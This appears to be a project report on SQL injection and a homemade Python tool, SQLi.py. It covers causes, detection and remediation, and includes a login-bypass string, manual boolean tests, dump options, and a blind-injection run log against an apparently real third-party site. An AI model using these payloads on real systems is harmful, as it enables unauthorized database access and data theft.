**CHAPTER - 1**

**INTRODUCTION**

# **Introduction**

**1.1 Python**

**Overview**

Python is a high-level, interpreted, interactive and object-oriented scripting language. Python is designed to be highly readable. It uses English keywords frequently where as other languages use punctuation, and it has fewer syntactical constructions than other languages.

# **Python Basic Syntax**

The Python language has many similarities to Perl, C, and Java. However, there are some definite differences between the languages.

## First Python Program

Type the following text at the Python prompt and press the Enter:

>>> print "Hello, Python!"

If you are running new version of Python, then you would need to use print statement with parenthesis as in **print ("Hello, Python!");**. However in Python version 2.4.3, this produces the following result:

Hello, Python!

**1.2 Sql Injection**

The class of vulnerabilities known as SQL injection continues to present an extremely high risk in the current landscape. SQL injection was ranked first on the MITRE Common Weakness Enumeration (CWE)/SANS Top 25 Most Dangerous Software Errors list.

And is ranked first on OWASP (Open Web Application Security Project) list.

Exploitation of these vulnerabilities has been implicated in many recent high-profile intrusions. Although there is an abundance of good literature about how to prevent SQL injection vulnerabilities, much of this documentation is geared toward web application developers. This advice is of limited benefit to IT administrators who are merely responsible for the operation of targeted web applications. In this document, we will provide guidance and a tool, made by us, and about using other open source tools and techniques to independently identify and exploit common SQL injection vulnerabilities, mimicking the approaches of attackers at large. We highlight testing tools and illustrate the critical results of testing.

**CHAPTER - 2**

**Causes**

**& Impacts**

**2.1 Causes**

SQL Injection Causes Simply stated, SQL injection vulnerabilities are caused by software applications that accept data from an untrusted source (internet users), fail to properly validate and sanitize the data, and subsequently use that data to dynamically construct an SQL query to the database backing that application. For example, imagine a simple application that takes inputs of a username and password. It may ultimately process this input in an SQL statement of the form string query = "SELECT \* FROM users WHERE username = "'" + username + "' AND password = '" + password + "'"; Since this query is constructed by concatenating an input string directly from the user, the query behaves correctly only if password does not contain a single-quote character. If the user enters "joe"as the username and"example' OR 'a'='a as the password, the resulting query becomes SELECT \* FROM users WHERE username = 'joe' AND password = 'example' OR 'a'='a'; The"OR 'a'='a' clause always evaluates to true and the intended authentication check is bypassed as a result. A thorough explanation of the underlying causes for SQL injection is outside the scope of this document; however, a comprehensive and authoritative explanation can be found in reference. While any application that incorporates SQL can suffer from these vulnerabilities, they are most common in web-based applications. One reason for the persistence of these problems is that their underlying causes can be found in almost any web application, regardless of implementation technology, web framework, programming language, or popularity. This class of vulnerabilities is also particularly severe in that merely identifying them is tantamount to full exploitation. Indeed, this is what attackers are doing on an internet scale.

# **2.2 Impacts**

Many of the high-profile intrusions in which SQL injection has been implicated have received attention because of the breach of confidentiality in the data stored in the compromised databases. This loss of confidentiality and the resulting financial costs for recovery, downtime, regulatory penalties, and negative publicity represent the primary immediate consequences of a successful compromise. However, even sites hosting applications that do not use sensitive financial or customer information are at risk as the database’s integrity can be compromised. Exploitation of SQL injection vulnerabilities may also allow an attacker to take advantage of persistent storage and dynamic page content generation to include malicious code in the compromised site. As a result, visitors to that site could be tricked into installing malicious code or redirected to a malicious site that exploits other vulnerabilities in their systems. In many cases, exploitation of SQL injection vulnerabilities can also result in a total compromise of the database servers, allowing these systems to be used as intermediaries in attacks on third-party sites.

# **2.3 Attack Vectors**

It is important to recognize that any data that is passed from the user to the vulnerable web application and then processed by the supporting database represents a potential attack vector for SQL injection. In practice, the two most common attack vectors are form data supplied through HTTP GET and through HTTP POST. We will demonstrate these attack vectors in the examples later in this document. Other possible attack vectors include HTTP cookie data and the HTTP User-Agent and Referer header values. Some SQL injection vulnerabilities may only be exploitable via authenticated unprivileged user accounts, depending upon where the application fails to sanitize the input. Sites and applications that allow users to create new accounts on the fly are at additional risk as a result.

**Detection Heuristics**

Automatic detection of SQL injection vulnerabilities relies on heuristics of how the target application behaves (or rather misbehaves) in response to specially crafted queries. The techniques are sometimes categorized into the following types:

* **Boolean-based blind SQL injection (sometimes referred to as inferential SQL injection)**: Multiple valid statements that evaluate to true and false are supplied in the affected parameter in the HTTP request. By comparing the response page between both conditions, the tool can infer whether or not the injection was successful.
* **Time-based blind SQL injection (sometimes referred to as full blind SQL injection):** Valid SQL statements are supplied in the affected parameter in the HTTP request that cause the database to pause for a specific period of time. By comparing the response times between normal requests and variously timed injected requests, a tool can determine whether execution of the SQL statement was successful.
* **Error-based SQL injection:** Invalid SQL statements are supplied to the affected parameter in the HTTP request. The tool then monitors the HTTP responses for error messages that are known to have originated at the database server. Most tools employ a combination of these techniques and some variations in order to achieve better detection and exploitation success

**Testing Vulnerable Parameter**

to test for SQL injection vulnerability, and trying to exploit the vulnerability to retrieve as much as information from the web application's back-end database management system or even is able to access the underlying operating system. You must have a proof about the vulnerability that has been found by exploiting it until you will get the findings. To test a vulnerable parameter, you can use manual technique or automated tool.

## **MANUAL TESTING**

To test a vulnerable parameter, you need to check an error webpage such blank page, blank picture or blank text during the testing and that page has a different from the original page. From webscan.txt file, we are trying to test the first target URL: http://www.mywebsite.com/viewnews.php?pageid=2 Assume that: when you add this string value, +AND+1=1 after 2, you should get a normal webpage and it is the same page as the original one. http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=1 But when you add 1=2 or 1=0 after string value 2, you should get an error webpage and it differs from the original page. For example, you will see a blank picture or no text when you add 1=2 and the end of the URL. http://www.mywebsite.com/viewnews.php?pageid=2+AND+1=2 It means that there is a possibility for SQL injection vulnerability at the pageid GET parameter of the viewnews.php page. It means that no web application firewall and no parameters' value sanitization are performed on the server side. This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system or on the web application programming language. It is a programmer code's security flaw.

## 

# **AUTOMATED TESTING**

To test a vulnerable parameter using automated tools, you can use some tools such as sqlmap, bsqlbf-v2, darkjumperv5.7 and other tools

**Description** **of Available** **Tools**

For the purpose of this document, we will demonstrate the use of the open source sqlmap and OWASP Zed Attack Proxy (ZAP) tools. sqlmap is a Python-based open source penetration testing tool that automates the process of detecting SQL injection flaws. It also includes a number of features for further exploitation of vulnerable systems, including database fingerprinting, collecting data from compromised databases, accessing the underlying file system of the server, and executing commands on the operating system via out-of-band connections. There is evidence that this specific tool has been used by attackers in successful real-world compromises. sqlmap uses a command-line user interface. OWASP ZAP is a tool for analysing applications that communicate via HTTP and HTTPS. It operates as an intercepting proxy, allowing the user to review and modify requests and responses before they are sent between the server and browser, or to simply observe the interaction between the user’s browser and the web application. Among other features, the tool also includes the ability to efficiently spider a target web server for links that may be obscured or hidden during normal interaction. This feature will be leveraged in the example scenarios described later in this document. The use of ZAP specifically is not required to reproduce the techniques described in this document; any other intercepting web proxy with equivalent capabilities can easily be used instead.

# **Our Approach (SQLi.py)**

Tools which are available for testing and discussed in this document are Automatic SQL injection tools which in many cases fails to detect the vulnerability, produces false positive, fails to extract data. And trying SQL injection manually is a tedious task hence a gap is created which is covered by the tool we have developed (SQLi.py) is written in python.

SQLi.py is a semi-automatic SQL injection testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a range of switches lasting from database fingerprinting, over data fetching from the database.

**CHAPTER - 3**

System Requirements

**SYSTEM REQUIREMENTS**

**Minimum Hardware Requirements**

|  |  |
| --- | --- |
| CPU | Pentium IV |
| PROCESSOR SPEED | 2 GHz |
| COPROCESSOR | BUILT IN |
| TOTAL RAM | 128 MB |
| HARD DISK | 40 GB |
| KEYBOARD | 105 KEYS |
| MOUSE |  |
| DISPLAY | SGVA COLOR |

# **Software Requirement**

* Python Idle
* WampServer
* Notepad ++
* Windows 7, 8, 8.1, 10

**CHAPTER – 4**

**Screenshots**

# **Screenshots**

# C:\Users\ashis\AppData\Local\Microsoft\Windows\INetCacheContent.Word\SQLi1.png

# C:\Users\ashis\AppData\Local\Microsoft\Windows\INetCacheContent.Word\SQLi2.pngC:\Users\ashis\AppData\Local\Microsoft\Windows\INetCacheContent.Word\SQLi4.png**C:\Users\ashis\AppData\Local\Microsoft\Windows\INetCacheContent.Word\SQLi3.png**

# C:\Users\ashis\AppData\Local\Microsoft\Windows\INetCacheContent.Word\SQLi5.png

# **Usage**

-h, --help show this help message and exit

-u URL, --url=URL URL where the injection will be made

-p PARAMS, --params=PARAMS

Parameters that will be send to the page

--injection-method=INJECTION\_METHOD

Method that will be use to extract data UNION | BLIND

(Default UNION)

--string=STRING String to match in page when the query is valid

NOENCODE | BASE64 (Default NOENCODE)

--dbs Extract all databases

--tables Extract all tables from database specified by -D

--columns Extract all columns from tables specified by -T

--dump Dump data from database, table, columns

-D DB\_NAME Specify which database to use

-T TB\_NAME Specify which table to use

-C COLUMNS\_NAME Specify which columns to use ex. ( -C 'id,user,email')

--query=CUSTOM\_SQL\_QUERY

Specify a custom query to execute

C:\Users\ashis\Desktop\SQLi>python sqli.py -u "http://artgladiator.com/artwork\_individual.php" -p "id=94 {inject\_here}" --string "Toxic Standards" --injection-method "BLIND" --dbs -v 3

Extract the number of rows...

QUERY: SELECT COUNT(`schema\_name`) FROM `information\_schema`.`schemata`

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/MID(0x01,9,1)

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/0x30

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/0x31

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/0x32

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/0x33

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),2,1)/\*\*/=/\*\*/MID(0x01,9,1)

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),2,1)/\*\*/=/\*\*/0x30

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),2,1)/\*\*/=/\*\*/0x31

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),2,1)/\*\*/=/\*\*/0x32

2http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/COUNT(`schema\_name`)/\*\*/FROM/\*\*/`information\_schema`.`schemata`)/\*\*/as/\*\*/char)),3,1)/\*\*/=/\*\*/MID(0x01,9,1)

EXTRACTED DATA: 2

Extract data from columns...

QUERY: SELECT `schema\_name` FROM `information\_schema`.`schemata` LIMIT 0,1

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/`schema\_name`/\*\*/FROM/\*\*/`information\_schema`.`schemata`/\*\*/LIMIT/\*\*/0,1)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/MID(0x01,9,1)

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/`schema\_name`/\*\*/FROM/\*\*/`information\_schema`.`schemata`/\*\*/LIMIT/\*\*/0,1)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/0x30

http://artgladiator.com/artwork\_individual.php?id=94/\*\*/AND/\*\*/MID(hex(cast((SELECT/\*\*/`schema\_name`/\*\*/FROM/\*\*/`information\_schema`.`schemata`/\*\*/LIMIT/\*\*/0,1)/\*\*/as/\*\*/char)),1,1)/\*\*/=/\*\*/0x31

# **Remediation**

If testing reveals SQL injection vulnerabilities in an application, the issue of correcting them becomes a problem for the system owner. How does one get the bugs fixed once they are identified? Ultimately, the original software vendor or application developer is in the best position to correct the issues. In the general case, sites should report these issues through support service channels, bug or vulnerability reporting forms, or direct contact with contractors who developed or support an application. Including the output from testing tools such as sqlmap in these reports can assist developers in understanding the problem. Sites may also be in the difficult position of being responsible for maintaining a custom application for which no official support channel exists. In this case, the system owners may need to contract professional software security help to attempt to correct the issues. In the event that the discovered vulnerability exists in an open source or commercially available software package, many other users of that software could be vulnerable as well. Consider reporting vulnerabilities in commodity web application components or frameworks via the CERT vulnerability reporting system so that they can be communicated to the affected vendor for remediation. While SQL injection vulnerabilities represent software defects that must ultimately be addressed in the application code, other steps can be taken to reduce the impact of a successful compromise. The documents referenced identify a number of possible mitigations also suggests techniques for identifying attack attempts in intrusion detection system (IDS) logs. Defence-in-depth should be factored into database design. For example, the application should not be configured to connect to the database with database administrator privileges (e.g., “root”, “pgsql”, or “system”) and should take advantage of multiple users to create a granular privilege model that separates read (SELECT) privileges from INSERT, UPDATE, ALTER/MODIFY, etc. Note that if these tools discover a vulnerability in an application that has been deployed for public (or mostly public) use, there is a significant risk that it has already been exploited and the server or application may be compromised. In this case, consider performing an audit on the system.

# **Features**

1. Semi Automatic tool for SQLi
2. Works for both GET And POST data
3. Accepts multiple GET/POST parameters
4. User Agent manipulation
5. Proxy support
6. Delay support
7. In-band SQLi and Inferential SQLi can be performed
8. Support for Encoded Parameters
9. Complete Dump of Database

10. Logs of Database Dump and errors are Generated

**CHAPTER 5**

**Conclusion**

**& Reference**

# **CONCLUSION**

In this document, we have demonstrated our constructed tool for testing web applications for SQL injection vulnerabilities that closely mimics the existing tools. Replicating these testing techniques against real applications under your administrative control can help to identify common “low hanging fruit” vulnerabilities that an attacker could use to compromise a web application. It is important to note that the absence of positive results from this form of testing does not mean that the application is free from SQL injection vulnerabilities. Detection of these vulnerabilities is an imprecise science; and the use of multiple tools, including some commercial testing tools, may improve coverage. Also, these techniques should not be considered a replacement for careful application code review in cases where source code is available since vulnerabilities in special cases and other subtle conditions can easily go undetected. Finally, the services of a competent and professional penetration testing organization can be used to supplement these results.

**References**

The Open Web Application Security Project (OWASP). “SQL Injection.” Last updated December 6, 2011. Available from https://www.owasp.org/index.php/SQL\_Injection (accessed June 28, 2012).

Provos, Niels. “Lizamoon SQL Injection Campaign Compared.” April 3,2011. Available from http://www.provos.org/index.php?/archives/92-Lizamoon-SQL-Injection-CampaignCompared.html (accessed June 28, 2012).

Hipolito, J. M. “LizaMoon, Etc. SQL Injection Attack Still Ongoing.” March 32, 2011. http://blog.trendmicro.com/lizamoon-etc-sql-injection-attack-still-on-going/ (accessed June 28, 2012).

US-CERT/NIST. National Vulnerability Database, CVE-2008-1982. Last revised March 11, 2011. http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-1982 (accessed June 28, 2012).

US-CERT. “SQL Injection” [background paper]. 2009. Available from http://www.uscert.gov/reading\_room/sql200901.pdf (accessed June 28, 2012).

The Open Web Application Security Project (OWASP). “Guide to SQL Injection” [SQLi avoidance]. Last modified September 6, 2010. https://www.owasp.org/index.php/Guide\_to\_SQL\_Injection (accessed June 28, 2012).

The Open Web Application Security Project (OWASP). “SQL Injection Prevention Cheat Sheet.” Last modified March 29, 2012. https://www.owasp.org/index.php/SQL\_Injection\_Prevention\_Cheat\_Sheet (accessed June 28, 2012).

Friedl, Steve. “SQL Injection Attacks by Example.” Last modified October 10, 2007. Available from http://www.unixwiz.net/techtips/sql-injection.html (accessed June 28, 2012)